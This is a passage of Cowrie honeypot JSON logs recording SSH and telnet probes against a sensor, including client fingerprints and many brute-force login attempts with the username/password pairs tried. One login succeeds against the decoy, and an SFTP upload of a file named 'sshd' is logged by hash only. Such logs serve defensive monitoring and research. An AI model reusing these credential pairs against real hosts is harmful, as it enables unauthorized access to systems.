ssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:42:30.752401Z","src_ip":"101.36.119.184","session":"2019bf047309","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:42:31.652591Z","src_ip":"101.36.119.184","session":"2019bf047309","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:42:32.873243Z","src_ip":"101.36.119.184","session":"2019bf047309","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.119.184","src_port":19786,"dst_ip":"10.17.0.5","dst_port":22,"session":"c98a1061a80e","protocol":"ssh","message":"New connection: 101.36.119.184:19786 (10.17.0.5:22) [session: c98a1061a80e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:42:33.089350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:42:33.097260Z","src_ip":"101.36.119.184","session":"c98a1061a80e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:42:33.314817Z","src_ip":"101.36.119.184","session":"c98a1061a80e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:42:34.218738Z","src_ip":"101.36.119.184","session":"c98a1061a80e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.185.132.30","src_port":51726,"dst_ip":"10.17.0.5","dst_port":22,"session":"af4ec6ee0bd6","protocol":"ssh","message":"New connection: 147.185.132.30:51726 (10.17.0.5:22) [session: af4ec6ee0bd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:42:34.231245Z"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:42:34.396599Z","src_ip":"147.185.132.30","session":"af4ec6ee0bd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.7","message":"Connection lost after 6.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:42:34.436299Z","src_ip":"101.36.119.184","session":"55ee254bef2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:42:34.440974Z","src_ip":"101.36.119.184","session":"c98a1061a80e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":62.86614632606506,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:42:37.940488Z","src_ip":"212.55.149.117","session":"46d1f8060c48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":47918,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a3f40dded9c","protocol":"telnet","message":"New connection: 111.119.202.27:47918 (159.203.135.109:23) [session: 0a3f40dded9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:43:11.106872Z"}
{"eventid":"cowrie.session.file_upload","filename":"sshd","outfile":"var/lib/cowrie/downloads/1cf75772a85d6c98be2d9ac1ce5987e10f2e02deebcc4d7c9fa8c73e32d52d33","shasum":"1cf75772a85d6c98be2d9ac1ce5987e10f2e02deebcc4d7c9fa8c73e32d52d33","message":"SFTP Uploaded file \"sshd\" to var/lib/cowrie/downloads/1cf75772a85d6c98be2d9ac1ce5987e10f2e02deebcc4d7c9fa8c73e32d52d33","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:43:16.592504Z","src_ip":"36.133.184.250","session":"4650a31d6344","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"301.0","message":"Connection lost after 301.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:43:16.595868Z","src_ip":"36.133.184.250","session":"4650a31d6344","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.119.184","src_port":34656,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c7664ffa8aa","protocol":"ssh","message":"New connection: 101.36.119.184:34656 (10.17.0.5:22) [session: 6c7664ffa8aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:43:17.741003Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:43:17.746130Z","src_ip":"101.36.119.184","session":"6c7664ffa8aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:43:17.962042Z","src_ip":"101.36.119.184","session":"6c7664ffa8aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123!@","message":"login attempt [root/admin123!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:43:18.857450Z","src_ip":"101.36.119.184","session":"6c7664ffa8aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:43:20.075746Z","src_ip":"101.36.119.184","session":"6c7664ffa8aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.46816110610962,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:43:44.574914Z","src_ip":"111.119.202.27","session":"0a3f40dded9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":50369,"dst_ip":"10.17.0.5","dst_port":23,"session":"70617eeb9b39","protocol":"telnet","message":"New connection: 212.55.149.117:50369 (10.17.0.5:23) [session: 70617eeb9b39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:43:50.487073Z"}
{"eventid":"cowrie.session.closed","duration":120.0117666721344,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:44:00.754720Z","src_ip":"111.119.202.27","session":"947a7813297f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.119.184","src_port":51054,"dst_ip":"10.17.0.5","dst_port":22,"session":"43970a1815a6","protocol":"ssh","message":"New connection: 101.36.119.184:51054 (10.17.0.5:22) [session: 43970a1815a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:44:08.618652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:44:08.623617Z","src_ip":"101.36.119.184","session":"43970a1815a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:44:08.852895Z","src_ip":"101.36.119.184","session":"43970a1815a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"1111","message":"login attempt [hadoop/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:44:09.753459Z","src_ip":"101.36.119.184","session":"43970a1815a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:44:10.982070Z","src_ip":"101.36.119.184","session":"43970a1815a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":51214,"dst_ip":"10.17.0.5","dst_port":22,"session":"82709080394a","protocol":"ssh","message":"New connection: 2.57.122.210:51214 (10.17.0.5:22) [session: 82709080394a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:44:14.137455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:44:14.143050Z","src_ip":"2.57.122.210","session":"82709080394a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:44:14.284060Z","src_ip":"2.57.122.210","session":"82709080394a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:44:14.636950Z","src_ip":"2.57.122.210","session":"82709080394a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:44:15.737338Z","src_ip":"2.57.122.210","session":"82709080394a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":47160,"dst_ip":"10.17.0.5","dst_port":22,"session":"de6c326ddd7c","protocol":"ssh","message":"New connection: 103.15.226.202:47160 (10.17.0.5:22) [session: de6c326ddd7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:44:20.917311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:44:20.921971Z","src_ip":"103.15.226.202","session":"de6c326ddd7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:44:21.168907Z","src_ip":"103.15.226.202","session":"de6c326ddd7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa111111","message":"login attempt [root/Aa111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:44:21.901718Z","src_ip":"103.15.226.202","session":"de6c326ddd7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:44:23.148934Z","src_ip":"103.15.226.202","session":"de6c326ddd7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.119.184","src_port":12432,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd2f1609612a","protocol":"ssh","message":"New connection: 101.36.119.184:12432 (10.17.0.5:22) [session: bd2f1609612a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:44:57.221769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:44:57.227094Z","src_ip":"101.36.119.184","session":"bd2f1609612a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:44:57.452035Z","src_ip":"101.36.119.184","session":"bd2f1609612a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lmsftp","password":"lmsftp","message":"login attempt [lmsftp/lmsftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:44:58.359811Z","src_ip":"101.36.119.184","session":"bd2f1609612a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:44:59.581702Z","src_ip":"101.36.119.184","session":"bd2f1609612a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.28.209.171","src_port":39034,"dst_ip":"10.17.0.5","dst_port":23,"session":"06e82d088f74","protocol":"telnet","message":"New connection: 94.28.209.171:39034 (10.17.0.5:23) [session: 06e82d088f74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:45:00.934618Z"}
{"eventid":"cowrie.session.closed","duration":13.209558010101318,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:45:14.144053Z","src_ip":"94.28.209.171","session":"06e82d088f74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.208.197.64","src_port":48056,"dst_ip":"10.17.0.5","dst_port":22,"session":"f35d3d857045","protocol":"ssh","message":"New connection: 91.208.197.64:48056 (10.17.0.5:22) [session: f35d3d857045]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:45:21.732358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:45:21.737529Z","src_ip":"91.208.197.64","session":"f35d3d857045","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sh